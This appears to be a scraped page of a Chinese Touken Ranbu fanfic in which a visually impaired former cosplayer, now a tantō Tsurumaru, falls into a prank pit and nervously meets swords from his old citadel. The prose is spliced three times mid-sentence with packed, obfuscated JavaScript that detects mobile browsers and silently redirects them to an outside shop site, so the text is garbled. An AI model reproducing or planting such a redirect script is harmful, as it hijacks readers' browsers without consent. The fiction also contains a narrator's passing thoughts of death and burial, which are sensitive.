以前有因为长期没有进食而没办法动过,吃得太多倒是完全没感受过……但是常识我还是有的,所以我稍微吃了一下就放了筷子,剩余时间大部分都在盯着碗发呆。 歌仙兼定似乎没有理解我的意思,倒是烛台切光忠忍不住开口了:“小鹤先生……你感觉不到饱腹感吗?” ……本身我也不会感觉到饿就是了。 大概就像我过于迟钝的痛觉一样,还算无关紧要,反正刀剑付丧神应该不会饿死,这样说来我又给审神者省下了一笔开支,应该算好事? 虽然我这么想,其他刃却好像不是呢。 不只是鹤丸和烛台切,这下连大俱利伽罗和太鼓钟贞宗也看过来了,我对这感情复杂的视线有些应付不来,只好说:“那以后……参照鹤丸的食量,我减掉三分之二来吃?” 跟刀剑本体长度差不多的削减,应该可以吧。 大概也觉得棘手,他们没有立刻给出解决方案,但是看着我的目光又沉重了一些。 ……我搞不懂了,果然这种问题还是不说出来更好吗,平白叫人不高兴。 晚餐结束,我和伊达组的各位一起从餐厅出来,太鼓钟贞宗挤开了鹤丸国永换到我身边的位置,他身高比我高出一点,牵着我的手也很暖和,性格照样是开朗那一挂的,一路上都在和我说有趣的事。 而我……虽然对他很不好意思,但我在走神。 我在想,要是把性格以温和为中间画一条线的话,太鼓钟贞宗和鹤丸国永一定是在 右边“开朗活泼”的一边,烛台切在中间,大俱利伽罗在左边…… 11. 掉下去了吗?是的 《cos短刀鹤丸后穿过去了》全本免费阅读 就像是一部,被剪掉了中间胶片的烂片。 无聊的开头和糟糕的结尾中间,连值得一看的特效演出都不存在,只有一片空白——我的人生,大概就是在这种不叫好也不叫座的电影里打转。 可惜不仅剧情老套,剪辑支离破碎,片尾曲不够好听,彩蛋也没有奇迹。 可就算无聊得要命,也不意味着主人公应该在本来能走到最后的路上一脚踩空,然后掉进谁也不知道、谁也没去过的地方,就这样,一直待到谢幕。 没有观众,没有听者,就连拍出这部电影的导演本人,大概也懒得看上一眼,所以,谁也不会发现,谁都不会在意。 只剩虚无。 …… 我茫然地睁开了眼睛。 眼前的颜色有够单一,我尝试着坐起身来,伸手去摸一摸周围。 墙壁、墙壁、墙壁,然后是天空。 ……对了,我从奇怪的地方摔下来了。 或许不能算是奇怪的地方,那仍然是本丸之内,我只是为了找个东西而出了门……大概是迷路了吧,但光迷路是不会弄成这样的,归根结底,还是因为我在走路时毫无征兆地一脚踩空。 然后是失重感,风声,和连声音都失去的惊慌。 ……短短几天内就坠落了三次,我果然跟鹤没什么缘分。 “……” 身下垫着厚厚的稻草,大概就是因为这个才安然无恙……总之先想想要怎么出去吧,过一会儿好像药研要过来,找不到我的话就糟了——话是这么说,可我自己大概是爬不上去的,找不到能踩的地方,脚也使不上力。 如果是那只鹤的话,一定就能简单地飞上去了吧? 我坐在坑底叹气。 因为不想麻烦别人而独自行动,却导致了必须麻烦别人的状况……真的是,太蠢了。 那之后突然蹦到我头上的,是一只猫。 很难说是没有被吓到,它的动作太轻盈了,动作时比树叶摩擦的声音还要小,以至于我在感觉到空气被划开带来的风时才意识到它的出现——还好,是接住了,而没有躲开。 因为担心是别的人和我一样不小心摔了下来,所以伸出了手,这一点我是做对了。 我把毛茸茸的小家伙从头上抱下来,还好它没有挣扎,它的爪子没有长到会伤到自己,但也足够锋利,想来不会被欺负。 不过……本丸里有养猫的吗? 鉴于本丸是时空中一个个独立的坐标空间,它应当不会是误入的野猫,但我也没有摸到项圈之类的东西,倒是好像有蝴蝶结……可蝴蝶结上也没有绣字。 或许只是因为不用担心会跑丢吧。 我把猫抱在怀里,一边给它顺着毛,一边胡思乱想。 什么时候会有人发现我不见了呢?等被找到的时候,要怎么开口道歉才好…… 坑底只有我和一只猫,也不知道这个坑是用来做什么的,要是有人往里填土的话,不知道小猫能不能踩着我跳出去。 填土啊……记忆中倒确实有被埋过,要是把我埋回去,也不是不可以,不如说比起被挖出来,果然还是埋进去比较好? 毕竟,我是和所爱的某人一起被埋葬的。 ……那是我的记忆,还是“鹤丸国永”的? 搞不懂,不清楚,也分不清。 就当作,是我的吧。 因为那人死去时的悲伤,那样叫人难过。 然而无论是作为刀剑还是作为人类,我都无法改变任何事,只能眼睁睁看着一切发生罢了。 “……” “小……小鹤先生?” 有人来了。 这个声音很熟悉,除了游戏最开始选择的初始刀剑,就是他陪我的时间最久了……于是不需要摸脸,我也认出了他是谁。 “退……?” “啊,对的,是我。”五虎退的声音有些抖,但显然不是因为害怕,“小鹤先生怎么会——咦,小老虎也在。” 听起来这里像动物园。 等等,小老虎? 我撸“猫”的手微微一顿。 我说怎么不会喵喵叫,原来你是老虎吗…… “抱歉,退。”我说,“我好像没办法把这孩子还给你……它自己可以上去吗?” “可以的……不对!”五虎退慌张道,“小鹤先生你等一下,这附近应该有梯子……我去拿过来。” “好,麻烦你了。”我站起身来,稍微活动了一下脚踝,“搬得动吗?小心些,不用着急。” “没关系!我可以的!” 五虎退的声音离远了,希望他不会勉强自己。 五虎退是带着鸣狐过来的。 等到我顺着梯子爬上去,小老虎才从我肩上离开。 “谢谢,退。”我开口,“鸣狐先生也是,我给你们添麻烦了吧。” “没事哦。”代替发声的狐狸开口,“不过,下次还是早点喊人过来比较好哦,鸣狐也吓了一跳呢,不愧是 12. 没事吗?大概吧 《cos短刀鹤丸后穿过去了》全本免费阅读 药研藤四郎感到不妙。 为了给新来本丸的那振特殊的鹤丸国永——现在大家都叫他小鹤——做医疗方面的身体检查,他在合适的时间点带着乱藤四郎和五虎退一起去了对方所在的部屋。 途中五虎退为了找小老虎暂时离开,他和乱稍微等了几分钟无果,便按照说好的那样先走。 身体检查的事,昨夜烛台切光忠应该已经和小鹤说过,对方并不抵触,也没有反对,想来应该算是个省心的病人——然而,他们连对方的面都没有见到。 敲了门,报上了名字,却没有得到回应,而且……微妙地有些安静过头。 药研和乱对视一眼,都从对方眼中看到了担忧,药研微微皱起眉,道一句失礼,推开了门。 小鹤并不在这里。 是出去了吗?可是对方不像会失约的类型,而且……本体的刀剑还在这里。 即便不是出阵状态,付丧神也会将本体以各种形式带在身上,和本体一起行动是他们的本能,而眼前的短刀显然不是什么赝品,不会是什么恶作剧的一部分。 但小鹤的身形,不存在于房间的某处。 药研藤四郎心中一沉,先是敲了隔壁伊达组部屋的门找了烛台切光忠过来,然而对方也不知道小鹤的去向,烛台切光忠昨夜是和小鹤一起休息的没错,早上却要醒得更早,没有吵醒还在睡梦中的小鹤,他先去厨房和歌仙兼定一起为早餐做准备,刚刚才回来准备整理一下陪小鹤做检查…… “怎么会这样。”烛台切光忠观察放在刀架上的短刀,“我根本没有注意到小鹤先生有什么异常。” 小鹤先生是不希望别人因他而感到困扰的类型,既然昨晚没有对身体检查的安排提出反对,今天当然也不会逃跑,更何况本人因为视力障碍行动不便,很难想象对方会就这样独自行动。 乱叫上其他的短刀们把几乎每个房间都找了一遍,连片衣角都没找到,得知消息的审神者【青】匆匆赶过来,也只能得出“小鹤仍然在本丸中没有离开”的结论。 于是大家把目光重新投回到短刀身上。 可不论是呼唤还是叫喊,无论是昵称还是本名,【青】已经努力地把支撑现世的灵力开到最大,白发金瞳的少年也没有再伴随着樱花显现。 短刀上没有裂痕,【青】的灵力也没有问题,这种情况,只可能是刀剑付丧神本身的那个灵魂已经消失、没办法再显现了。 感性的小短刀们一下就哭了出来,【青】也无法接受一般捂住了脸。 明明昨天都还好好的,明明他们的故事才刚刚开始,怎么会发生这种事? 就在这个沉重悲伤、一个两个眼泪都在眼眶里打转的时刻,五虎退过来了。 ——带着某“生机耗尽灵魂消失只剩下冰冷铁物”的刃一起。 小鹤:“……啊?” 其他刃:“啊???” …… …… 【青】紧紧牵着我的手,开口:“所以,小鹤你只是掉进了陷阱里,错过了回来的时间?” 我十分愧疚地点了点头:“嗯,本来是想好了、应该能在药研来之前回到这里的。” 结果一脚踩空掉进了坑里,不知道晕过去多久,醒来后又爬不上来…… “抱歉。”我诚恳道,“我的擅自行动似乎给大家添了不少麻烦。” “嗯,小鹤你确实有错。”【青】严肃道,“既然需要帮忙,那就要告诉大家呀,怎么能因为怕麻烦别人就自己一个人做呢?很危险的!” 这个错的理由好像和我想的不一样…… “不过……”【青】和其他刃一起把目光投向某人,“事件的罪魁祸首,应该是鹤丸你吧?” 鹤丸国永缩在角落面壁反省。 ……我就说本丸里怎么会有坑,感情是你干的好事。 坑底垫了很多稻草,想来也是担心中招的人受伤,而且这个坑是之前挖的了,旁边还立了提醒的板子……想来除了我之外没人会摔下去。 然而无论板子上写的有多清楚,我都是看不见的。 ……说到底,我连提示板的存在都没有注意到啊。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12762276|124946||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 灭为止吧。 我跟着【青】回到本丸的屋檐下,同她一起坐在了走廊上:“……姬君是有什么事找我么?” 出阵还是远征?演练也没问题,要是有活动的话放我去也挺好,至少我大概不会给她在状态框上贴小红脸——只会直接重伤然后碎刀然后恢复正常,也是一种永动机呢,哈哈。 ……这里是不是不应该笑。 好在【青】没有读心术,也不会来敲我的头。 “要说有的话,算是有啦。”【青】话语中的笑意收敛了些许,更加正经了,“小鹤你平时会看终端吗?” 终端有语音播报的功能,哪怕看不清屏幕我也可以正常使用——但是我确实不太用这个,大家没有紧急情况的话也不会通过这个来联系我,要说的话,只是偶尔会看一看鹤丸国永拉我进去的那个群聊。 毕竟是聚集了所有“鹤丸国永”的群耶,各种方面都很让人高兴吧?哪怕不参与进去、只要看着聊天群里的消息刷来刷去,我就已经很开心。 ——所以,在这里答“不怎么看”的话,是可以的吧? “唔。”【青】沉吟片刻,再开口时语气中带了几分小心翼翼,“那,小鹤你知道,有一振烛台切光忠同你发了讯息吗?” 既然用上“有一振”这种词,就说明不是我们本丸的烛台切,而能让【青】都知道、专门来问我的话…… 的确是有这么一件事,来着。 “知道。”我说,“他隔几天就会发一次消息给我。” 但我一次都没有回复过。 “为什么不回复呢?”【青】说,“啊,我没有责备你的意思,只是想知道原因……毕竟那边通过时政向我发起了申请——不用考虑太多,如果你会觉得不开心的话,我会立刻回绝的。” “……”她补充得这样及时,让我连说“给你添麻烦了吗”的机会都没有。 “我没有不开心。”我说,“不回复……并不是我讨厌他的意思。” 虽然没有回复过,但内容我是知道的,有问我现状的,有关心我有没有好好吃饭好好睡觉的,还有就是……想和我见面。 我没有不喜欢他,也没有讨厌他,我做不到那种事,更何况他、他们都没有做错任何事。 做错事的人,是我。 是我自己没办法见他们——曾属于那个对我来说只剩下痛苦和黑暗的本丸的,我的同伴们。 因为我很擅长逃跑,所以现在也在逃啊。 ……真没出息,对吧。 72.要去吗?要去的 『今天天气很好呢,鹤先生』 『万屋今日售卖的点心味道很好,鹤先生可以尝一尝』 『今日拿到了不错的水果,不知道鹤先生会不会喜欢』 『今夜夜风很冷,不知道鹤先生那里如何……要注意保暖哦』 『鹤先生,我……』 『我们想着,能不能见你一面呢?』 …… 那样多的讯息,我不可能一条都注意不到,实际上,也是每一条都拜托终端替我读了出来的。 关心的话语,小小的分享,试探的提议……来自烛台切光忠、来自那个本丸的同伴的讯息,并未表达过多的情绪和想法,却比从一开始就狠狠骂我要让我难以适从。 【……什么…】 用这样温和的语气同我联络…… 【你们,在期待着什么呢……?】 ——无论期待着什么,我大概都没办法给予。 和【青】本丸的大家、以及曾经巧遇过两次的那位烛台切都不同,那个本丸的刀剑从来没有见过正常的、属于他们的“鹤丸国永”——因为见过我的刀剑,全都碎去了啊。 我没能成为他们的同伴,也没能守护好他们的同伴,更没能成为……他们的“鹤丸国永”。 明明大家都那样优秀,所有的鹤丸国永都这般强大,唯独我是这样没用的样子——唯独本该是他们拥有的“鹤丸国永”这么没出息,就像自家的孩子考试垫底一样,令人生气吧? 而我就像那个拿着打了大红叉的试卷的不合格生,站在门前惴惴不安。 ……所以,虽然对面发来的只是仿佛单单在抒发自己想法的试探的话语,我也没法给出任何回复。 我没办法见他们、没办法面对他们……我太软弱了。 辜负了因我死去的大家的期待,当了逃兵,然后还好端端的活着……实在是太厚脸皮了。 成为他们的负担,还让他们如此挂心,我很抱歉。 但除了道歉,我不知道还有什么能给他们的东西……此身已经是属于【青】的刀剑,甚至于我而言最亲近的烛台切光忠和大俱利伽罗、太鼓钟贞宗也已经有了人选,这样错位的相处,只会让我感到不安而已。 如果…… 如果见到我之后,发现我并非那样强大的刀剑,让他们失望了的话,我可能会惶恐到想哭的。 我什么都给不了他们,和其他人不一样,他们并不需要我、是不需要的吧?不知道该付出什么的话,我就会感到害怕。 ……真感谢终端讯息没有已读和未读的标识,我才能装作没看见直到今天。 “小鹤?” 大概是我走神太久,【青】忍不住开口了,“那,你想见他们吗?” 不讨厌也没有不开心,那么面对提出的会面请求,会想要答应吗? “……”我低着头,视线在地面上游移,“我不知道。” 如果他们想见我的话……既然是他们的想法,那我一定没有拒绝的余地吧? 见了面之后会发生的事,任我如何猜测都终究不是真实,就算他们真的失望或者不喜,我也做不到转头就走,只能努力露出他们想要的笑容来、尝试中和一下我自身的异常。 “那个、姬君。”我小声道,“他们是怎么说的,能告诉我吗?” 一开始待在时政的时候,我就询问过他们可能会有的去向,因为刀剑同振之间联系虽说不算紧密,但打听起消息来也更容易,烛台切——小光他并不会因此吃醋或者怎样,甚至在我问起时,用一种“等待已久”的态度告诉了我。 那个本丸我素未谋面的伊达组同伴们,似乎都暂时没有选择加入其他本丸,而是停留在时政辅助工作……知道这一点就够了,反正时政总不会难为他们,想来也会过得很好吧。 不过,我收到的讯息中总是在问我的事、也总是在关心我,偶尔说起他们自己,都并不会提起负面的事——如果真的不存在是最好,可万一有什么问题的话,我还是要了解一下的。 特别是……如果真的要去和他们见面的话,他们给出的理由也会显示出本身的想法,帮助我做出正确的应对。 而这种小事,【青】是不会要保密的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12848142|124946||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “当然可以。”【青】说,“那边用词也很小心呢,嗯……说是,只想和你见一面……” 『……只要能同鹤先生见一面就好,如若方便的话,烦请为我们抽出一些时间,安排一场茶会。 并不是想要得到什么答案,也并非期望鹤先生来到我们身旁、事实上,没能察觉到他的苦痛,让我万分自责…… …… …… 只是一场茶会,并没有特别的目的,审神者【青】大人,如果可以的话,请您代替我们询问鹤先生的想法,非常感谢。』 “……” 原来如此,是这么回事啊。 果然应该先问理由的,刚才纠结了这么多……嘛,也不算是无用功。 “谢谢,姬君。”我说,“我会去的。” “唉?决定了吗?”【青】摆了摆手,“啊,我并不是反对的意思,只是我还以为小鹤你会再多纠结一会儿呢……” 【青】说:“可以告诉我决定要去的理由吗?” 当然可以。 “我的想法全可不论。”我说,“他们的想法、不,我和他们见面的结果,对他们是有利还是不利,这才值得在意。” 如果确定这次见面,只会让他们不开心或者难过的话,我一定会拒绝吧,但是哪怕对他们只有一丝丝的好处,我都会努力的。 别的不说,他们一直抱着这种对我愧疚、无比自责的想法生活,这可不行啊,完全不行,怎么想都…… 都,不公平。 对他们来说,这一切都太不公平了。 明明没有我的话,就能好好地活下去。 大家都很好,非常温柔,他们大概也不会恨我吧,或许还会因为我的遭遇、因为没能救我而难过。 可是,可是哪怕一面都没有见过我,他们也过得很幸福,如今却因为我的出现,因为我的自私,失去了原本算得上平稳的日常,不得不怀着那样难以言喻的愧疚继续生活。 不能这样,得想办法让他们把我的事全都丢到脑后才行。 所以,我会去的。 73.怎样去?平常的 把决定要去茶会的消息告诉鹤丸国永后,并没有得到什么反对。 鹤丸国永把新找到的碎片交给【青】,又扛着铲子找到我——真是辛苦他每天四处捡破烂,回来还得陪我玩,鉴于我是被照顾的那方,又被各种教训过,没法提出“就此停止”的要求呢,否则未免太过不知好歹。 扯远了,总之,我同他站在昨夜的位置,一铲一铲往坑里填土。 若不是现在是白天,场面真像杀人埋尸……呵呵,开玩笑的,哪有穿白衣服杀人埋尸的,我们是付丧神,又不是白无常。 说起来,我明明思考过那么多死法,活埋这种却是一开始就pass,硬生生被厚重的黑暗压垮在泥土中——和向空中迈步是完全的两个极端吧?虽然我比其他的“鹤丸国永”更不在意旧事,但对此也称不上喜欢。 静谧也好,黑暗也罢,无法动弹的限制和看不到一丝光亮的狭小环境,我大概也是待得够多——也就是说,受够了。 而且,活埋这样的做法,我自己是做不了的啊,就算自己把坑挖好了,能帮我把土填上的人并不存在。 至于“比起被挖出来,还是更希望把我埋进去”的说法,那指的也是把死掉的我入土为安,可没有体验一下活埋的意思……吧。 我在自己的事情上记性总是很烂,刚到这里的那些想法,其实也都开始模糊了……这是好事还是坏事呢? “……鹤…” “小鹤……” “小鹤!” 将我从胡思乱想中惊醒的是鹤丸国永的声音——吓得我赶紧停止动作,可别是走神铲到什么不该铲的地方。 “你在想什么呢,小鹤?”鹤丸国永伸手过来轻轻用手指蹭了蹭我的脸颊,开口,“累了吗?” “没有。”我眨了眨眼,分神去确认真的没有不小心打到他,“抱歉,走神了,你刚才说什么?” “还没说呢。”鹤丸国永看起来没有信我,他把我手里的铲子收走,示意我休息,“是想问你那个茶会的事啦。” “你自己这样主动做判断还是第一次呢——我并没有说不好的意思,但你是怎样想的呢?” 其实不是第一次啦,之前通道出问题也是我主动提出的……那个后果好像有点惨烈,还是不提了。 “怎样想的……”我实话实说,“‘去的话对他们比较好’这样的。” “果然。”鹤丸国永小声说着,似乎有几分无奈,“只有这种情况下,你才会直接做决定啊。” “其实也问了姬君的。”我说,“说了要去,但我没什么自信,所以问了她这样好不好……” 结果【青】一脸感动地说当然可以当然没问题当然特别好——我不觉得这种答案具有太多参考性。 “所以,也准备问问你,和烛台——和小光他们。”每个烛台切光忠都叫烛台切的话,会不好分辨吧,所以我们本丸的就叫小光好了……不是“光坊”而是“咪酱”这样子,昨天这样叫过他,那时握住我的手也没有松开,所以应该没关系吧。 总叫名字叫到一半改口听起来也有点怪,我会努力习惯的,如果他真的不介意的话。 “嗯嗯,原来如此。”鹤丸国永点点头,“如果我说不好的话你就不去了吗?” 我:“如果指的是对他们不好的话,我就不去了。” 反正【青】也还没回复那边,因为我说要再问问鹤丸他们,所以她说不用着急,那边也没有提具体日期,一切都看我自己意愿,就算临时反悔都没关系,她会帮我混过去——嗯,这种给她添麻烦的事还是不要为好。 “……”鹤丸国永掐了掐我的脸,“记得我之前说的话吗?” 我:“你指哪一句?” 鹤丸国永:“多思考一下自己的事。” 【多思考一下自己的事,不是要你去找自己的问题,而是在去爱别人之前,先爱你自己。】 我记得,但是不太能实践。 鹤丸国永仿佛幼儿园老师一般循循善诱——我猜的,我没上过幼儿园——他说:“所以,‘这件事对他们好不好’应该变成……?” 我:“……‘这件事对我来说好不好’,吗。” “没错。”鹤丸国永说,“虽然想帮助他们的想法很温柔很可爱啦,但是如果这样的见面会让你感到不适的话,我就反对哦。” “但是你自己在同样的情况下也会这样做吧。”我提出质疑,“是不是有点双标?” 温柔的他是决计不会放着烛台切他们不管的,一定会带着平常的笑容,去和大家用轻快的语气打招呼吧。 然而此刻鹤丸国永笑容满面,我却莫名感到几分危险:“因为我是成熟的大人。” 骗人,你明明也怕寂寞。 “不要转移话题。”鹤丸国永转移话题,“告诉我你自己的感觉吧,要知道这最重要的一点,我才能给你建议呢。” 我只好开始组织语言……说实话我自己对于到底去不去还存有疑虑,所以也不知道该往哪个方向努力,为了得到鹤丸国永的正确建议,也只能实话实说。 “我没什么感觉。”我开口道,“要说的话,就是……不知所措?” 这个词是这样用的吗? “我不知道该怎么办。”我微敛了眸,忍住想掐自己手指的冲动,“去了的话,要怎么和大家打招呼,怎么和大家说话,该露出什么表情——如果他们问起之前的事,我又该怎么道歉才好……” 若是完全的陌生人,当然可以把我cosplay生涯的完美笑容拿出来,因为是属于“鹤丸国永”的笑容,大家都会喜欢。 可是……对于那个本丸的他们来说,我对他们来说是本不该成为陌生人的陌生人吧。 绝对会穿帮的啦……就算以前没见过我,在时政工作了这么久,肯定也对正常的“鹤丸国永”有所认知,再加上是伊达组的大家,里面还有不怎么说话但相当细心的伽罗,我的拙劣模仿绝对会穿帮的。 那种场景太过尴尬了,我会想找个地缝钻进去的。 除了这种社恐上身一般的理由,还有就是……有点害怕。 “我……虽然是‘鹤丸国永’,但是这副样子,哪里都不像啦。”我努力想把话说得轻松,又担心被鹤丸国永敲头,“也从来没和他们相处过,万一辜负了他们的期待的话……” 就像是我把属于他们的“鹤丸国永”吃掉了一样,吧。 “真是你会有的想法啊。”鹤丸国永果然轻轻用指节叩了叩我的额头,“笨蛋呢,明明刚来这里的时候都没有伪装自己,这是什么后知后觉吗?” 因为那个时候我太累了,而且想着应该会和之前一样成为难说好不好用的工具,会笑的工具和不会笑的工具没什么太大区别吧?会笑的沙包和不会笑的沙包也一样,反正最后下场都差不多……只要能到当个透明人的程度别被讨厌就行了。 但是在明确知道自己会被当个人对待的时候,果然还是会更希望能讨对方多喜欢一点,更何况对面的是烛台切他们。 就这一点来看,我是不是已经有在考虑自己了呢? “我觉得你就这样就很好,不需要特意练习或者调整。”鹤丸国永说,“现在就很完美,除了我要你改的地方之外,不会有人对这样的你有意见的,我保证。” 外形上表情上说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12898176|124946||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话方式上都没问题的意思?唔,既然鹤丸国永都这样说了,那应当确实没问题了。 话说,他总是很有主见,也总是能做出正确的判断和应对,啊,这样的话,要不然…… “那个。”我试探着提议,“要不然,你代替我……” 不对,据说我的事情已经几乎传遍时政了,若是被分配到新审本丸、在讯息相对闭塞事务繁多的情况下可能还会不清楚,但既然烛台切他们是在时政大楼工作,就不太可能会不知道我如今的身姿。 “不,嗯……”我再次提议,“把耳机戴上,然后我来听你的指示行动的话?” 提线木偶的工作我应该能做好,而且鹤丸他绝对不会出错,是非常完美的策略吧! “哒咩。”鹤丸国永无情画叉,“那样的话就没意义了,不如不去哦?” 不行吗…… “哎呀,对自己有点信心嘛。”看不下去我这样踌躇不前的模样,鹤丸国永说,“至少我相信,随便你怎样说怎样做,都不会让他们失望的。” 鹤丸国永说着话,目光偏移一瞬:不会对你失望是肯定,难不难过就不一定了……毕竟自己在明白小鹤的情况时,也相当难过。 “那就还是去了。”我终于下定决心,嗯,不相信我自己也要相信鹤丸,“虽说相当担心……可我对于同他们见面这件事并不排斥,也没有讨厌的感觉,就这样过去应该没问题。” 只是有些困惑而已,还有就是对没能做好“鹤丸国永”的羞耻和惭愧——嘛,不合格生拿着画红叉的试卷还要找家长签字大概是一样的心情? 但总是逃避也很不像话,再加上得和他们聊聊天、不让他们操心我的事,不能让他们因为我这种人而有所负担,所以就去吧。 “嗯嗯,我知道了。”鹤丸国永笑着揉了揉我的头发,“但是,话是这么说,要是途中觉得不舒服的话,直接离开也没关系哦?” 他说:“反正我会来接你的。” 没有用“逃”这个字的你,是不是对我太过溺爱了呢? 我不知道,但无论选择哪方都能拥有归处这件事,减淡了我难以言说的不安。 …… 会面地点选在了演练场外的那座茶屋。 明明之前路过的时候说过“大概不会去”这种话,结果短短一个月就来了两次啊。 今天鹤丸国永依旧致力于捡破烂——我破破烂烂的灵魂真的碎成千万片了吗?明明这几天他已经捡回来好几片了,还有多少要回收啊? 就算我是灵魂碎片的主人,也不清楚。 扯远了,总之,今天陪我过来的并不是鹤丸,而是三日月。 ……等等,为什么是三日月? “哈哈哈,甚好甚好。” 向端茶的服务生道过谢,三日月坐在单独的卡座上,冲我抬起手,“老爷爷我就在这里等着小鹤哦。” “啊,好的。”我乖乖矮身凑过去给他摸了摸头——大家好像都喜欢摸我的头,真有那么好摸吗,“那,我就过去了。” 选定的房间离茶屋的入口很近,与三日月所在的位置只有一墙之隔,倒不用担心我会找不到或者迷路,再加上茶室的工作人员也会给我指引,所以三日月才没有送我到门口。 ……要是一起走的话,他和我在这地方谁会先迷路还是未知数。 这样想着些有的没的,我在指定房间的推拉门前站定。 明明刚刚从隔壁出来的时候还有说话声,现在却一片安静,不知道里面的人是不是和我一样正在做心理建设……不清楚,我摸了摸胸口处的白鹤胸针,缓缓吐出一口气。 我拉开了门。 74.谈话吗?是的 如果一定要说,对于这纠结许久的会面的正式开始有什么第一想法的话…… 我果然,还是应该从窗进吧? 虽然之前【青】就同我说过,对面参加茶会的并不只是主动通过终端向我联系的烛台切光忠一个人,至少会包括目前同样在时政工作的大俱利伽罗和太鼓钟贞宗,所以我姑且也有做心理准备。 可是,在拉开门后,我还是原地僵住了。 不知道是什么原因,他们身上穿的并不是通常的出阵服或者内番服,当然也不是轻装……虽然型号不一致,但模糊的色块十分相近,兴许是一起去买的私服或者制服,依照烛台切光忠和太鼓钟贞宗对这方面的在意,至少版型和布料绝对不会糟糕。 都这么看重这次见面吗……可我穿着常服套了鹤丸国永的外套就过来了,会不会显得我过于不正式? 我并不是对鹤丸国永的外套有意见,实际上特别穿了他的外套而不是我的就是为了靠这个汲取一点勇气……大概就像考试之前问班里的学神要一支笔差不多的玄学安慰剂——最近是不是用这种比喻用得太多了?可是真的有点贴切嘛…… 咳咳,总之,我在意的是我自己的衣服——这套总造价不超过一百的cos服,虽然事到如今已经回归了刀剑男士衣装该有的质地和价位,对上这种情况我还是会下意识觉得不够好。 ……早知道当年再多饿几个星期去想办法做或者收一整套“鹤丸国永”的衣服了,至少那个看起来比这套金贵很多。 啊,但是我好像从以这个姿态显现开始就是这套衣服,那样子管用吗?而且由我来穿那一整套出阵服会不会很奇怪……万一是东施效颦的效果怎么办? 似乎有点发散得太远了。 对服装区别的纠结没有持续太久,反正鹤丸国永的外套对我来说大了一些,往里拢拢完全可以把我包裹住,连带着把里面穿的衣服也挡好,我脸皮厚我就假装无事发生……而且虽然他们穿得差不多,但现在我已经是光凭发色就可以认出他们每个人的程度了,至少不会对着一个叫另一个的名字,感谢我们本丸的小光伽罗和贞。 于是转到第二个问题……组织话语。 说是自然点就好随心所欲就好,实际上还是免不了紧张,我到底改不了胡思乱想的习惯,到头来还是下意识开始思考第一句话该说什么……为什么他们也不说话呢,是我进来的不是时候吗? 在我仔细又不乏混乱地想着要不先把门关上假装走错房间然后真的从窗翻进来用鹤丸国永经典语录活跃一下气氛时,太鼓钟贞宗先开口了。 “鹤先生!”太鼓钟贞宗语气轻快地冲我招了招手,“你来啦,快来这边坐!” 我已经从早上中午晚上好想到冒昧打扰我先跑,听到这句话只能说宛如遇到救星,谢谢你,太鼓钟贞宗:“啊,好的。” 心稍微放松了一点,可我的身体显然没有,倒是没有出现同手同脚的丢人情况……比那更糟糕。 ——我被门口的小槛绊了一跤。 搞什么,结果不管从哪进效果都一样吗。 在心中对自己的笨拙无奈叹气,由于紧张和微妙的着急而迈出的步伐不似通常走路那般稳当,于是摔下去的势头也格外猛,至少不是我能靠自己站稳的类型,哪怕往旁边伸出手试图拉住刚才的房门,也由于视野错位抓了个空。 行吧,左右我也摔习惯了,这里离茶桌有一段距离,应该不至于会磕到桌角弄翻茶具——在我想着这种或许没什么所谓的事情时,扑倒的身体被人拦截扶住,避免了我以头抢地的结局。 这场面似乎有些熟悉,没记错的话,第一天在【青】的本丸,我也被伊达组的各位像这样架了起来……大家反应真快。 “抱歉。”借着他们的力重新站稳,我立刻道歉,“谢谢你们,那个……” 要怎么称呼他们呢?过于疏远的大概不行,亲近的也容易叫人不喜,我于是又卡住了。 “不用道歉的,鹤先生。”机动最快、此刻也离我最近的太鼓钟贞宗摇了摇头,语气中满含担忧,“没事吧?有没有哪里受伤?” “没有受伤,我没事的。”我从来都应付不了这种纯粹的关心,垂眸用拇指指甲轻轻戳了戳食指,“那个,叫我小鹤就可以了。” “好的,小鹤先生。”太鼓钟贞宗笑了笑,“我是太鼓钟贞宗哦——用你喜欢的方式叫我就好啦,坐我旁边这里可以吗?” “嗯,可以的。”我当然是不可能在这种事上说“不”的,太鼓钟贞宗拉着我的手腕带我往前,方才一起冲过来扶我的烛台切光忠和大俱利伽罗已经放开了手,却并没有立刻回到座位上的意思。 ……大概是还伸着手虚虚揽在我身后吧,怕我再摔倒之类的……倒不是我自作多情,只是小光和伽罗就经常这样子,被我发现好几次了。 我迈出脚步的动作更加小心了一些,再怎么说平地摔也会比被绊倒丢人,而且…… 太鼓钟贞宗拉着我的手,正在轻微地颤抖着。 吓到他了吗?这大概不是什么很好的惊吓……我的糟糕视力注定了我无法从他们的表情来判断他们的想法,很多事都只能靠猜。 